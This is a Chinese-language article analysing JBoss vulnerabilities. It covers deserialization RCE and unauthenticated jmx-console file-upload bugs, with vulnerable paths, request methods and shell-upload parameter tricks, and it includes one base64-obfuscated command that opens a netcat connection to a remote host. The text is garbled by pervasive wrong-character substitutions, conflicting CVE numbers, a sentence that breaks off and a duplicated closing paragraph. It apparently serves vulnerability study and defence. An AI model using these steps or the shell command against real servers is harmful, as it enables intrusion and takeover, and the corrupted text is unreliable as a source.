JBoss高危漏洞分析

前言

JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，能够在任何商业应用中无偿使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.一、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，通常与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。因为JBoss遵循商业友好的LGPL受权分发，而且由开源社区开发，这使得JBoss广为流行。

0×01 JBoss优势

JBoss有许多优势。

 

其一，将具备革命性的JMX微内核服务做为其总线结构；

 

其二，自己就是面向服务架构（Service-Oriented Architecture，SOA）；

 

其三，具备统一的类装载器，从而可以实现应用的热部署和热卸载能力。

 

所以，高度模块化的和松耦合。JBoss应用服务器是健壮的、高质量的，并且还具备良好的性能。

 

JBoss AS做为Redhat公司的商业产品JBoss Enterprise Application Platform的上游基础，为了不用户混淆，该公司在去年10月份就为JBoss AS拟定一个新名字——WildFly。

 

由此看来，国内使用JBoss服务的用户很普遍，所以防范JBoss漏洞就显得尤其重要了。一旦JBoss的潘多拉魔盒被打开，必将在当今网络中掀起腥风血雨。

 

0×02 高危漏洞介绍

 

近几年JBoss爆发的漏洞数量与其余著名的中间件（Weblogic,Jenkins,WebSphere等）相比，数量相对较少。然而，因为最近几年Java反序列化漏洞的肆虐，JBoss也深受其害，相继爆发了三个著名的高危漏洞。

 

下面介绍一下JBoss“潘多拉魔盒”中的高危漏洞。

 

JBoss高危漏洞主要涉及到两种。

 

第一种是利用未受权访问进入JBoss后台进行文件上传的漏洞，例如：CVE-2007-1036，CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。

 

另外一种是利用Java反序列化进行远程代码执行的漏洞，例如：CVE-2015-7501，CVE-2017-7504，CVE-2017-12149，CVE-2013-4810。

 

除此以外，还要额外介绍一下JBoss seam2的模板注入CVE-2010-1871漏洞。

 

Java反序列化RCE漏洞

 

关于Java反序列化漏洞的利用思路此前已经介绍过，详情请看http://www.freebuf.com/vuls/179579.html。

 

1. CVE-2015-7501漏洞

 

此漏洞主要是因为JBoss中invoker/JMXInvokerServlet路径对外开放，因为JBoss的jmx组件支持Java反序列化，而且在反序列化过程当中没有加入有效的安全检测机制，致使攻击者能够传入精心构造好的恶意序列化数据，在jmx对其进行反序列化处理时，致使传入的携带恶意代码的序列化数据执行，形成反序列化漏洞，下面是传入的序列化结构。

 

从图中咱们能够看到，此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同，都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

 

CVE-2015-7501 POC

 

首先咱们进入到/invoker/JMXInvokerServlet路径下，post传入咱们构造好的payload，下面的序列化POC须要将16进制解码。

 

 

 

在上面的POC中，cmd是咱们想要执行的代码，这里你们注意一下，binascii.b2a_hex(cmd)前面的两位（标红的部分）是表明cmd转换为16进制的长度。因此须要根据咱们具体传入的代码而进行调整。

 

这个漏洞的修补方法很简单，由于ysoserial工具生成的payload都依赖于InvokerTransformer类。若是用户在正常业务中不使用此类，能够将此类移除，方法为使用Winzip打开jar文件，在org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。

 

2. CVE-2017-7504漏洞

 

CVE-2017-7504漏洞与CVE-2015-7501的漏洞一模一样，只是利用的路径稍微出现了变化，CVE-2017-7504出如今/jbossmq-httpil/HTTPServerILServlet路径下，通常出现如图所示的界面，绝大多数存在此漏洞。

 

漏洞的利用方式也和CVE-2105-7501相同，只须要在存在漏洞的路径下post传入咱们构造的payload，便可对存在漏洞的服务器进行远程代码攻击。Payload使用上面提到的CVE-2015-7501的POC便可。

 

3. CVE-2017-12149漏洞

 

此漏洞主要是因为jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter方法，再将序列化传入ois中，并无进行过滤便调用了readObject()进行反序列化，致使传入的携带恶意代码的序列化数据执行，形成了反序列化的漏洞，下面粘出doFilter方法。

 

看到代码中的MarshalledInvocation，也许熟悉weblogic Java反序列化漏洞的同窗可能会想到CVE-2016-3510漏洞。没错，这个漏洞也是利用了MarshalledInvocation类进行的Java反序列化攻击。首先咱们进入到/invoker/readonly路径下，post传入咱们构造好的payload，下面的序列化POC须要将16进制解码。

 

CVE-2017-12149的POC（序列化）

 

 

 

这里咱们在cmd_hex所在位置，必需要插入相似于

bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}

 

这种形式的命令才能够达到攻击效果，这是由于使用了“Java.lang.Runtime.exec(String)”语句而致使的一些限制。首先是不支持shell操做符，如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格。一样前面标红的那两位(b1)也须要和咱们插入的指令长度相符，这是Java序列化中的结构规定。

 

若是进入到漏洞所在路径看见以下图的界面，极可能存在CVE-2017-12149漏洞。

 

 

4. CVE-2013-4810漏洞

 

此漏洞和CVE-2015-7501漏洞原理相同，这里详细介绍一下二者的区别，其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操做，而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

 

首先咱们进入到/invoker/JMXInvokerServlet，/invoker/EJBInvokerServlet路径下，post传入咱们构造好的payload，并在头部传入。

 

 

 

下面的序列化POC须要将16进制解码。

 

CVE-2013-4810的POC（序列化）

 

 

 

POC的序列化结构以下图：

 

图中红框位置就是咱们执行上传文件功能（jboss.admin中的DeploymentFileRepository）的代码和上传文件的内容。

 

另外若是是检测web-console/Invoker路径下的漏洞，则传入http头部以下：

 

 

 

post传入的payload以下：

 

 

 

POC的序列化结构以下图：

 

图中红框位置就是咱们上传文件内容。

 

JBoss后台文件上传的漏洞

 

1.CVE-2007-1036漏洞

 

此漏洞主要是因为JBoss中/jmx-console/HtmlAdaptor路径对外开放，而且没有任何身份验证机制，致使攻击者能够进入到jmx控制台，并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法，经过向四个参数传入信息，达到上传shell的目的，其中arg0传入的是部署的war包名字，arg1传入的是上传的文件的文件名，arg2传入的是上传文件的文件格式，arg3传入的是上传文件中的内容。经过控制这四个参数便可上传shell，控制整台服务器。可是经过实验发现，arg1和arg2能够进行文件的拼接，例如arg1=she，arg2=ll.jsp。这个时候服务器仍是会进行拼接，将shell.jsp传入到指定路径下。后面的CVE-2010-0738和CVE-2005-5750漏洞也存在这一特性。

 

CVE-2007-1036 POC

 

 

 

其中war_name是部署war包的名称，filename是咱们想要上传的文件名。漏洞利用过程就是将POC以GET或POST方式在/jmx-console/HtmlAdaptor路径下进行传入便可。

 

下图是利用此payload进行shell上传：

 

 

这个是存在漏洞的后台路径：

 

图中的store()函数即是文件上传使用的方法，经过构造内部的4的参数，将咱们构造好的文件传到任何咱们指定的位置。

 

2. CVE-2010-0738漏洞

 

此漏洞利用原理和CVE-2007-1036漏洞相同，惟一的区别是CVE-2010-0738漏洞利用了HTTP中HEAD请求方法，绕过了对GET和POST请求的限制，成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上传文件。 

 

CVE-2010-0738 POC

 

 

 

其中war_name是部署war包的名称，filename是咱们想要上传的文件名。漏洞利用过程就是将POC以HEAD方式在/jmx-console/HtmlAdaptor路径下进行传入便可。

 

下图是成功上传shell的截图。

 

 

3. CVE-2005-5750漏洞

 

此漏洞利用原理和CVE-2007-1036漏洞相同，惟一的区别是CVE-2006-5750漏洞利用methodIndex进行store()方法的调用。其中methodIndex是经过方法的编号进行调用。

 

CVE-2005-5750 POC

 

 

 

其中war_name是部署war包的名称，filename是咱们想要上传的文件名。在/jmx-console/HtmlAdaptor路径下，使用HEAD方法传入上面构造好的payload，便可对此漏洞进行利用。

下图是成功上传shell的截图。

 

 

4. JBoss jmx-consoleHtmlAdaptor addURL() 文件上传漏洞

 

此漏洞是因为JBoss中/jmx-console/HtmlAdaptor路径对外开放，而且没有任何身份验证机制，致使攻击者能够进入到jmx控制台，并在其中执行任何功能。该漏洞利用的是后台jboss.deployment -> DeploymentScanner -> Java.net.URL类型 addURL() 
方法，经过向一个参数传入url进行访问，在要访问的url中构造带有shell的war包，当服务器访问时便会上传shell。可是，上传shell的文件只是一个映射文件，当url一旦没法访问或者内部资源丢失，则服务器上的文件也会相应消失。

 

JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC

其中arg0传入的是咱们能够控制服务器访问的url。在/jmx-console/HtmlAdaptor路径下GET传入咱们构造好的payload，便可对此漏洞进行漏洞利用。

 

下图是漏洞利用所选择的函数：

 

防护以上漏洞，其实只须要将JBoss后台添加权限，控制访问者对敏感路径访问便可。

 

JBoss seam2模板注入

 

在介绍漏洞以前，首先介绍一下Java反射机制。

 

不少POC都是利用Java的反射机制来调用须要的方法进行远程代码执行。在Java中，一切皆为对象，包括Class对象。Java反射机制是在运行状态中，对于任意一个类，都可以知道这个类的全部属性和方法；对于任意一个对象，都可以调用它的任意一个方法和属性。

 

在下面的漏洞中，咱们能够利用一些函数去反射须要的类，以及类的方法。例如，利用getClass()函数获取类，并利用getMethod()获取咱们想要反射的方法。在CVE-2010-1871，就是经过反射出Java.lang.Runtime.getRuntime().exec()方法，进行远程代码执行。

 

1.CVE-2010-1871漏洞

此漏洞是经过seam组件中插入#{payload}进行模板注入，咱们能够在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入咱们要执行的方法，咱们能够经过Java反射机制来获取到Java.lang.Runtime.getRuntime().exec()方法，从而能够传入任何想要执行的指令。

 

CVE-2010-1871 POC

其中cmd表明传入的远程命令。在/admin-console/login.seam路径下，POST传入咱们构造好的payload，便可对此漏洞利用。

0×03 结语

 

目前，JBoss未受权访问的漏洞已经获得了很好的修复，一些对外组件都添加了权限访问控制，想继续利用

 

JBoss的潘多拉魔盒已经开启，每个JBoss高危漏洞都会给使用JBoss的用户形成巨大的灾难。传言，潘多拉在开启魔盒的瞬间，因为惧怕和紧张，在智慧女神雅典娜放在盒子中的“但愿”尚未飞出，就关上了盒子，致使了人类饱受疾病与灾难的痛苦。那么做为一个安全研究员，放飞盒子中的“但愿”就是咱们如今须要努力的方向。及时的在漏洞爆发期间完成对漏洞的分析，并完成对漏洞的预防，防止漏洞攻击在网络环境中肆虐，保护你们的网络环境，这即是安全研究员的职责所在。

 

目前，JBoss未受权访问的漏洞已经获得了很好的修复，一些管理后台都添加了权限访问控制，想继续经过JBoss后台进行文件上传在如今的JBoss版本已经不多能实现了。目前JBoss的攻击趋势随着2015年FoxGlove Security 安全团队的 @breenmachine 博客的发布而渐渐偏向于Java反序列化攻击。由于这种攻击的特色是，危险等级高，影响范围广，一个Java反序列化漏洞形成的影响是巨大的。因此对于JBoss，咱们须要作的防御措施就是，在各个对外开放组件进行输入验证，确保传入的信息中没有对服务器产生危害的内容。